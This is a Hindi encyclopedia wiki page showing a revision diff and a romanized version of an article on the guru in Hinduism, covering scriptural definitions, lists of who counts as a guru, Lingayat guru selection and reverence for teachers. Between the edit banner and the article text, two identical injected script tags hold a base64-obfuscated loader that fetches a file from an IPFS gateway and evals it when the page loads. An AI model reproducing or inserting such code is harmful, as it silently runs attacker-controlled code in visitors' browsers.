Difference between revisions of "गुरु"

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
Line 3: Line 3:
 
'''गुरु''' [[हिंदू धर्म]] में एक व्यक्तिगत आध्यात्मिक शिक्षक या निर्देशक होते हैं, जिन्होंने आध्यात्मिक अंतर्दृष्टि प्राप्त कर ली हो। कम से कम उपनिषदों के समय से [[भारत]] में धार्मिक शिक्षा में [[गुरुकुल]] पद्धति पर ज़ोर दिया जाता रहा है। पारंपरिक रूप से पुरुष शिष्य गुरुओं के आश्रम में रहते थे और भक्ति तथा आज्ञाकारिता से उनकी सेवा करते थे। [[भक्ति आंदोलन]] के उत्थान के साथ, जो ईष्ट देवता के प्रति भक्ति पर ज़ोर देता है, गुरु और भी अधिक महत्तवपूर्ण चरित्र बन गए। किसी संप्रदाय के प्रमुख या संस्थापक के रूप में गुरु श्रद्धा के पात्र थे और उन्हें आध्यात्मिक सत्य का मूर्तिमान जीवित रूप माना जाता था। इस प्रकार उन्हें [[देवता]] के जैसा सम्मान प्राप्त था। गुरु के प्रति सेवा भाव और आज्ञाकारिता की परंपरा अब भी विद्यमान है।  
 
'''गुरु''' [[हिंदू धर्म]] में एक व्यक्तिगत आध्यात्मिक शिक्षक या निर्देशक होते हैं, जिन्होंने आध्यात्मिक अंतर्दृष्टि प्राप्त कर ली हो। कम से कम उपनिषदों के समय से [[भारत]] में धार्मिक शिक्षा में [[गुरुकुल]] पद्धति पर ज़ोर दिया जाता रहा है। पारंपरिक रूप से पुरुष शिष्य गुरुओं के आश्रम में रहते थे और भक्ति तथा आज्ञाकारिता से उनकी सेवा करते थे। [[भक्ति आंदोलन]] के उत्थान के साथ, जो ईष्ट देवता के प्रति भक्ति पर ज़ोर देता है, गुरु और भी अधिक महत्तवपूर्ण चरित्र बन गए। किसी संप्रदाय के प्रमुख या संस्थापक के रूप में गुरु श्रद्धा के पात्र थे और उन्हें आध्यात्मिक सत्य का मूर्तिमान जीवित रूप माना जाता था। इस प्रकार उन्हें [[देवता]] के जैसा सम्मान प्राप्त था। गुरु के प्रति सेवा भाव और आज्ञाकारिता की परंपरा अब भी विद्यमान है।  
 
==गुरु की परिभाषा==
 
==गुरु की परिभाषा==
गुरु उसको कहते हैं जो वेद-शास्त्रों का गृणन करता है अथवा स्तुत होता है। <ref>गृणाति उपदिशति वेद- शास्त्राणि यद्वा गीर्यते स्तूयते शिष्यवर्गे:</ref> [[मनुस्मृति]] <ref>[[मनुस्मृति]] 2.142</ref> में गुरु की परिभाषा निम्नांकित है:
+
गुरु उसको कहते हैं जो वेद-शास्त्रों का गृणन (उपदेश) करता है अथवा स्तुत होता है। <ref>गृणाति उपदिशति वेद- शास्त्राणि यद्वा गीर्यते स्तूयते शिष्यवर्गे:</ref> [[मनुस्मृति]] <ref>[[मनुस्मृति]] 2.142</ref> में गुरु की परिभाषा निम्नांकित है:
  
 
<poem>निषेकादीनि कार्माणि य: करोति यथाविधि।
 
<poem>निषेकादीनि कार्माणि य: करोति यथाविधि।

Revision as of 05:04, 29 May 2012

chitr:Icon-edit.gif is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

guru hiandoo dharm mean ek vyaktigat adhyatmik shikshak ya nirdeshak hote haian, jinhoanne adhyatmik aantardrishti prapt kar li ho. kam se kam upanishadoan ke samay se bharat mean dharmik shiksha mean gurukul paddhati par zor diya jata raha hai. paranparik roop se purush shishy guruoan ke ashram mean rahate the aur bhakti tatha ajnakarita se unaki seva karate the. bhakti aandolan ke utthan ke sath, jo eesht devata ke prati bhakti par zor deta hai, guru aur bhi adhik mahattavapoorn charitr ban ge. kisi sanpraday ke pramukh ya sansthapak ke roop mean guru shraddha ke patr the aur unhean adhyatmik saty ka moortiman jivit roop mana jata tha. is prakar unhean devata ke jaisa samman prapt tha. guru ke prati seva bhav aur ajnakarita ki paranpara ab bhi vidyaman hai.

guru ki paribhasha

guru usako kahate haian jo ved-shastroan ka grinan (upadesh) karata hai athava stut hota hai. [1] manusmriti [2] mean guru ki paribhasha nimnaankit hai:

nishekadini karmani y: karoti yathavidhi.
sambhavayati channen s vipro gururuchyate.

jo vipr nishak [3]adi sanskaroan ko yatha vidhi karata hai aur ann se poshan karata hai vah guru kahalata hai. is paribhasha se pita pratham guru hai, tatpashchat purohit, shikshak adi. mantradata ko bhi guru kahate haian. gurutv ke lie varjit purushoan ki soochi kalikapuran [4] mean is prakar di huee hai:

abhishaptamaputrachn sannaddhan kitavan tatha.
kriyahinan kalpagh d vamanan gurunindakamh॥
sada matsarasanyuktan guruantreshu varjayet.
gururmantrasy moolan syat moolashaddhau sada shubhamh॥

koormapuran [5] mean guruvarg ki ek lambi soochi milati hai:

upadhyay: pita jyeshthabhrata chaiv mahipati:.
matul: shvashurastrata matamahapitamahau॥
bandhurjyeshth: pitrivyashch puansyete gurav: smrita:॥
matamahi matulani tatha matushch sodara॥
shvashroo: pitamahi jyeshtha dhatri ch gurav: strishu.
ityutko guruvargoyan matrit: pitrito dvija:॥

inaka shshatachar, adar aur seva karane ka vidhan hai. yutkikalpataru mean achchhe guru ke lakshan nimnaankit kahe gaye haian:

sadachar: kushaladhi: sarvashastrarthaparag:.
nityanaimittikananch karyanaan karak: shuchi:॥
aparvamaithunapur: pitridevarchane rat:.
gurubhaktojitakrodho vipranaan hitakrit sada॥
dayavan shilasampann: satkulino mahamati:.
paradareshu vimukho dridhasankalpako dvij:॥
anyaishch vaidikagunaigunairyukt: karyo gururnripai:.
etairev gunairyukt: purodha: syanmahirbhujamh॥
mantraguru ke vishesh lakshan batalaye gaye haian:
shaanto daant: kulinashch vinit: shuddhaveshavanh.
shuddhachar: supratishth: shuchirdaksh: subuddhiman॥
ashrami dhyananishthashch mantr-tantr-visharad:.
nigrahanugrahe shakto gururityabhidhiyate॥
uddhartuchnai v sanhatuan samartho brahmanottam:.
tapasvi satyavadi ch grihastho guruchyate॥

samanyat: dvijati ka guru agni, varnoan ka guru brahman, striyoan ka guru pati aur sabaka guru atithi hota hai:

gurugnidvijatinaan varnanaan bahmano guru:.
patireko guru: strinaan sarveshamatithirguru:॥[6]

upanayanapoorvak achar sikhane vala tatha vedadhyayan karane vala achary hi yatharthat: guru hai:

upaniy guru: shishyan shikshayechchhauchamadit:.
acharamagnikaryanchasandhyopasanameb ch॥
alpan va bahu va yast shrutasyopakaroti y:.
tamapih guruan vidyachchhu topakriyayataya॥
shatartrishadabdikan charyyan gurau traivedikan vratamh.
tadarddhikan padik va grahanaantikamev va॥ [7]

guru ka chunav

vir shaivoan mean yah hai ki pratyek ligdayat gaanv mean ek math hota hai jo pratyek paanch prarambhik mathoan se sambandhit rahata hai. pratyek ligdayat kisi n kisi math se sambandhit hota hai. pratyek ka ek guru hota hai. jagdam inaki ek jati hai jisake sadasy ligdayatoan ve guru hote haian.

jab ligdayat apane guru ka chunav karata hai tab ek utsav hota hai, jisamean paanch mathoan ke mahantoan ke pratinidhi ke roop mean, rakhe jate haian. char patr vargakar akriti mean evan ek keandr mean rakha jata hai. yah keandr ka patr us ligdayat ke ghar jata hai, us avasar par 'padodak' sanskar [8] hota hai, jisamean sara parivar tatha mitramandali upasthit rahati hai. grihasvami dvara guru ki shodashopachar poorvak pooja ki jati hai.

guru ka samman

dharmik guru ke prati bhakti ki parampara bharat mean ati prachin hai. prachin kal mean guru ki ajna ka palan karana shishy ka param dharm hota tha. prachin bharat ki shiksha pranali mean vedoan ka jnan vyaktigat roop se guruoan dvara maukhik shiksha ke madhyam se shishyoan ko diya jata tha. guru shishy ka doosara pita mana jata tha evan prakritik pita se bhi adhik adaraniy tha. adhunik kal mean gurusanbhan aur bhi adhik bataee gee hai. nanak, dadoo, radhasvami adi santoan ke anuyayi jise ek bar guru grahan karate haian, usaki batoan ko eeshvaravachan manate haian.

bina guru ki ajna ke koee hiandu kisi sampraday ka sadasy nahian ho sakata. pratham vah ek jijnasu banata hai. bad mean guru usake kan mean ek shubh bela mean diksha-manjn padhata hai aur phir vah sadasy ban jata hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. grinati upadishati ved- shastrani yadva giryate stooyate shishyavarge:
  2. manusmriti 2.142
  3. garbhadhan
  4. kalikapuran adhyay 54
  5. koormapuran upavibhag, adhyay 11
  6. chanakyniti
  7. manu. 2.69;2.149;3.1
  8. guru ke charan dhona

bahari k diyaan

sanbandhit lekh